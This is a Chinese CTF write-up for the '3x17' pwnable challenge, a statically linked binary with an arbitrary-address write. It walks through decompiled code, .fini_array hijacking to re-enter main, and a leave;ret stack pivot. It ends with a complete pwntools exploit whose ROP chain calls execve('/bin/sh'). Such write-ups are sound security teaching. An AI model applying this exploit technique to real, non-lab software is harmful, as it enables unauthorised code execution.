1 程序分析

只开了 NX,但是其实也开了 Canary

1
2
3
4
5
6
7
(pwn) secreu@Vanilla:~/code/pwnable/3x17$ checksec --file=3x17
[*] '/home/secreu/code/pwnable/3x17/3x17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

初步运行一下是让我们输入一个 addr,再输入 data

1
2
3
(pwn) secreu@Vanilla:~/code/pwnable/3x17$ ./3x17 
addr:123
data:123

IDA 进去是 start 函数,因为去除了符号表,读起来不太方便,但是主要流程就是调用 __libc_start_main 执行 main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
oid __fastcall __noreturn start(__int64 a1, __int64 a2, int a3)
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
_UNKNOWN *retaddr; // [rsp+0h] [rbp+0h] BYREF

v4 = v5;
v5 = v3;
sub_401EB0( // __libc_start_main
(unsigned int)sub_401B6D, // main
v4,
(unsigned int)&retaddr,
(unsigned int)sub_4028D0, // __libc_csu_init
(unsigned int)sub_402960, // __libc_csu_fini
a3,
(__int64)&v5);
__halt();
}

main 可以看出其实开了 Canary。存在 .bss 段上的 byte_4B9330 自加,若其为 1,就输出 “addr:”,读取 0x18 字节到 buf 中,做一些处理得到一个地址 v1,再输出 “data:”,读取 0x18 字节到 v1 中。

很明显,这是一个任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 sub_401B6D()
{
__int64 result; // rax
char *v1; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
sub_446EC0(1u, "addr:", 5uLL);
sub_446E20(0, buf, 0x18uLL);
v1 = (char *)(int)sub_40EE70((__int64)buf);
sub_446EC0(1u, "data:", 5uLL);
sub_446E20(0, v1, 0x18uLL);
result = 0LL;
}
if ( __readfsqword(0x28u) != v3 )
sub_44A3E0();
return result;
}

然后看 v1 是怎么得到的,sub_40EE70 函数及其之后的调用,直接因为 sub_40FD30 实在太长就不放出来了,直接 GPT 分析,发现 sub_40EE70 其实就是 atoll,将十进制数转换成 8 字节地址

1
2
3
4
5
6
7
8
9
__int64 __fastcall sub_40EE70(__int64 a1)
{
return sub_40FCE0(a1, 0LL, 10LL);
}

__int64 __fastcall sub_40FCE0(__int64 a1, __int64 a2, __int64 a3)
{
return sub_40FD30(a1, a2, a3, 0LL, __readfsqword(0xFFFFFFA8));
}

所以我们的 main 函数功能很明确了,我们输入一个十进制数,他会解析成一个地址,然后可以往里面写入 0x18 字节数据

2 漏洞利用

2.1 劫持执行流

但是我们如何利用这个任意地址写?没有栈地址也没有完整的 libc,文件里也没有 “/bin/sh” 字符串

了解 main 函数的启动过程,知道 __libc_start_main 的调用顺序是 __libc_csu_init -> main -> __libc_csu_fini
__libc_csu_init 会顺序执行 _init_array 中存放的函数,即 _init_array[0]_init_array[1]、…、_init_array[n]
__libc_csu_fini 则逆序执行 _fini_array 中存放的函数,即 _fini_array[n]_fini_array[n-1]、…、_fini_array[0]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// __libc_csu_init
__int64 __fastcall sub_4028D0(unsigned int a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
signed __int64 v4; // r14
__int64 i; // rbx

result = init_proc();
v4 = &off_4B40F0 - funcs_402908;
if ( v4 )
{
for ( i = 0LL; i != v4; ++i )
result = funcs_402908[i]();
}
return result;
}

// __libc_csu_fini
void sub_402960()
{
signed __int64 v0; // rbx

if ( (&unk_4B4100 - (_UNKNOWN *)&off_4B40F0) >> 3 )
{
v0 = ((&unk_4B4100 - (_UNKNOWN *)&off_4B40F0) >> 3) - 1;
do
(*(&off_4B40F0 + v0--))();
while ( v0 != -1 );
}
term_proc();
}

_init_array_fini_array 如下,如果我们把 _fini_array 中的函数地址改成我们指定的地址,就可以劫持执行流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.init_array:00000000004B40E0 ; ===========================================================================
.init_array:00000000004B40E0
.init_array:00000000004B40E0 ; Segment type: Pure data
.init_array:00000000004B40E0 ; Segment permissions: Read/Write
.init_array:00000000004B40E0 _init_array segment qword public 'DATA' use64
.init_array:00000000004B40E0 assume cs:_init_array
.init_array:00000000004B40E0 ;org 4B40E0h
.init_array:00000000004B40E0 funcs_402908 dq offset sub_401B40 ; DATA XREF: sub_4028D0+2↑o
.init_array:00000000004B40E0 ; sub_4028D0+B↑o ...
.init_array:00000000004B40E8 dq offset sub_4015B0
.init_array:00000000004B40E8 _init_array ends
.init_array:00000000004B40E8
.fini_array:00000000004B40F0 ; ===========================================================================
.fini_array:00000000004B40F0
.fini_array:00000000004B40F0 ; Segment type: Pure data
.fini_array:00000000004B40F0 ; Segment permissions: Read/Write
.fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64
.fini_array:00000000004B40F0 assume cs:_fini_array
.fini_array:00000000004B40F0 ;org 4B40F0h
.fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o
.fini_array:00000000004B40F0 ; sub_402960+8↑o
.fini_array:00000000004B40F8 dq offset loc_401580
.fini_array:00000000004B40F8 _fini_array ends
.fini_array:00000000004B40F8

_fini_array 只有 2 个 8 字节大小,我们可以填入 __libc_csu_finimain 地址,这样就能理论上实现这 2 个函数的循环调用,即 __libc_csu_init -> main -> __libc_csu_fini -> main -> __libc_csu_fini -> ...

也就是理论上无数次的任意地址写,但是还需注意全局变量 byte_4B9330 为 1 时才会执行任意地址写,由于 byte_4B9330 每一次执行 main 都会自增一次,byte 最大为 0xff,之后会溢出到 0,再自增为 1,所以实际上并不太影响我们做多次任意地址写

1
2
3
4
5
6
fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960

while 1:
aaw(fini_array, p64(libc_csu_fini) + p64(main_addr))

2.2 栈迁移

解决了控制执行流的问题,但是我们执行什么呢?我们要解决的首要问题是要有地方存放 ROP 链,以及如何跳到上面执行

仔细看 __libc_csu_fini 开头将 0x4B40F0 赋值给 rbp,也就是 _fini_array 的地址,该函数使用 rbp 作为基址索引 _fini_array 中的函数地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:0000000000402960 sub_402960      proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960 push rbp
.text:0000000000402961 lea rax, unk_4B4100
.text:0000000000402968 lea rbp, off_4B40F0
.text:000000000040296F push rbx
.text:0000000000402970 sub rax, rbp
.text:0000000000402973 sub rsp, 8
.text:0000000000402977 sar rax, 3
.text:000000000040297B jz short loc_402996
.text:000000000040297D lea rbx, [rax-1]
.text:0000000000402981 nop dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988: ; CODE XREF: sub_402960+34↓j
.text:0000000000402988 call qword ptr [rbp+rbx*8+0]
.text:000000000040298C sub rbx, 1
.text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994 jnz short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996: ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996 add rsp, 8
.text:000000000040299A pop rbx
.text:000000000040299B pop rbp
.text:000000000040299C jmp _term_proc
.text:000000000040299C ; } // starts at 402960
.text:000000000040299C sub_402960 endp

如果我们在这个时候不构造新的栈帧,而是直接 leave ; ret 就会将 rsp 赋值为 0x4B40F0 + 0x10 = 0x4B4100,这个恰好地址对应 .fini_array 节下面的 .data.rel.ro 节,虽然说看名字该节是 read only,但是 readelf 告诉我们其标志位是 WA,也就是这个节在运行时会被加载到内存,并且可写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
(pwn) secreu@Vanilla:~/code/pwnable/3x17$ readelf -S ./3x17
There are 29 section headers, starting at offset 0xb94e8:

Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .note.ABI-tag NOTE 0000000000400200 00000200
0000000000000020 0000000000000000 A 0 0 4
[ 2] .note.gnu.bu[...] NOTE 0000000000400220 00000220
0000000000000024 0000000000000000 A 0 0 4
[ 3] .rela.plt RELA 0000000000400248 00000248
0000000000000228 0000000000000018 AI 0 19 8
[ 4] .init PROGBITS 0000000000401000 00001000
0000000000000017 0000000000000000 AX 0 0 4
[ 5] .plt PROGBITS 0000000000401018 00001018
00000000000000b8 0000000000000000 AX 0 0 8
[ 6] .text PROGBITS 00000000004010d0 000010d0
000000000008b360 0000000000000000 AX 0 0 16
[ 7] __libc_freeres_fn PROGBITS 000000000048c430 0008c430
0000000000001efa 0000000000000000 AX 0 0 16
[ 8] .fini PROGBITS 000000000048e32c 0008e32c
0000000000000009 0000000000000000 AX 0 0 4
[ 9] .rodata PROGBITS 000000000048f000 0008f000
000000000001937c 0000000000000000 A 0 0 32
[10] .stapsdt.base PROGBITS 00000000004a837c 000a837c
0000000000000001 0000000000000000 A 0 0 1
[11] .eh_frame PROGBITS 00000000004a8380 000a8380
000000000000a608 0000000000000000 A 0 0 8
[12] .gcc_except_table PROGBITS 00000000004b2988 000b2988
00000000000000a9 0000000000000000 A 0 0 1
[13] .tdata PROGBITS 00000000004b40c0 000b30c0
0000000000000020 0000000000000000 WAT 0 0 8
[14] .tbss NOBITS 00000000004b40e0 000b30e0
0000000000000040 0000000000000000 WAT 0 0 8
[15] .init_array INIT_ARRAY 00000000004b40e0 000b30e0
0000000000000010 0000000000000008 WA 0 0 8
[16] .fini_array FINI_ARRAY 00000000004b40f0 000b30f0
0000000000000010 0000000000000008 WA 0 0 8
[17] .data.rel.ro PROGBITS 00000000004b4100 000b3100
0000000000002df4 0000000000000000 WA 0 0 32
[18] .got PROGBITS 00000000004b6ef8 000b5ef8
00000000000000f0 0000000000000000 WA 0 0 8
[19] .got.plt PROGBITS 00000000004b7000 000b6000
00000000000000d0 0000000000000008 WA 0 0 8
[20] .data PROGBITS 00000000004b70e0 000b60e0
0000000000001af0 0000000000000000 WA 0 0 32
[21] __libc_subfreeres PROGBITS 00000000004b8bd0 000b7bd0
0000000000000048 0000000000000000 WA 0 0 8
[22] __libc_IO_vtables PROGBITS 00000000004b8c20 000b7c20
00000000000006a8 0000000000000000 WA 0 0 32
[23] __libc_atexit PROGBITS 00000000004b92c8 000b82c8
0000000000000008 0000000000000000 WA 0 0 8
[24] .bss NOBITS 00000000004b92e0 000b82d0
0000000000001718 0000000000000000 WA 0 0 32
[25] __libc_freer[...] NOBITS 00000000004ba9f8 000b82d0
0000000000000028 0000000000000000 WA 0 0 8
[26] .comment PROGBITS 0000000000000000 000b82d0
0000000000000023 0000000000000001 MS 0 0 1
[27] .note.stapsdt NOTE 0000000000000000 000b82f4
00000000000010c0 0000000000000000 0 0 4
[28] .shstrtab STRTAB 0000000000000000 000b93b4
0000000000000134 0000000000000000 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
R (retain), D (mbind), l (large), p (processor specific)

所以我们可以事先在 0x4B4100 布置 ROP 链,然后在 _fini_array 做一次 leave ; ret 从而将 rsp 迁移到 0x4B4100,执行 ROP

3 利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

elf = ELF('./3x17')

context(os=elf.os, arch=elf.arch, log_level='debug')

io = process(elf.path)

def aaw(addr: int, data: bytes):
io.sendafter(b"addr:", str(addr).encode())
io.sendafter(b"data:", data)

fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960

pop_rdi_ret = 0x401696
pop_rsi_ret = 0x406c30
pop_rdx_ret = 0x446e35
pop_rax_ret = 0x41e4af
syscall = 0x4022b4
leave_ret = 0x401c4b

aaw(fini_array, p64(libc_csu_fini) + p64(main_addr))

aaw(fini_array + 0x10, p64(pop_rdi_ret) + p64(fini_array + 0x58)) # rdi -> "/bin/sh"
aaw(fini_array + 0x20, p64(pop_rsi_ret) + p64(0)) # rsi = 0
aaw(fini_array + 0x30, p64(pop_rdx_ret) + p64(0)) # rdx = 0
aaw(fini_array + 0x40, p64(pop_rax_ret) + p64(59)) # rax = 59 -> execve
aaw(fini_array + 0x50, p64(syscall)) # syscall
aaw(fini_array + 0x58, b"/bin/sh\x00") # "/bin/sh"

aaw(fini_array, p64(leave_ret))

io.interactive()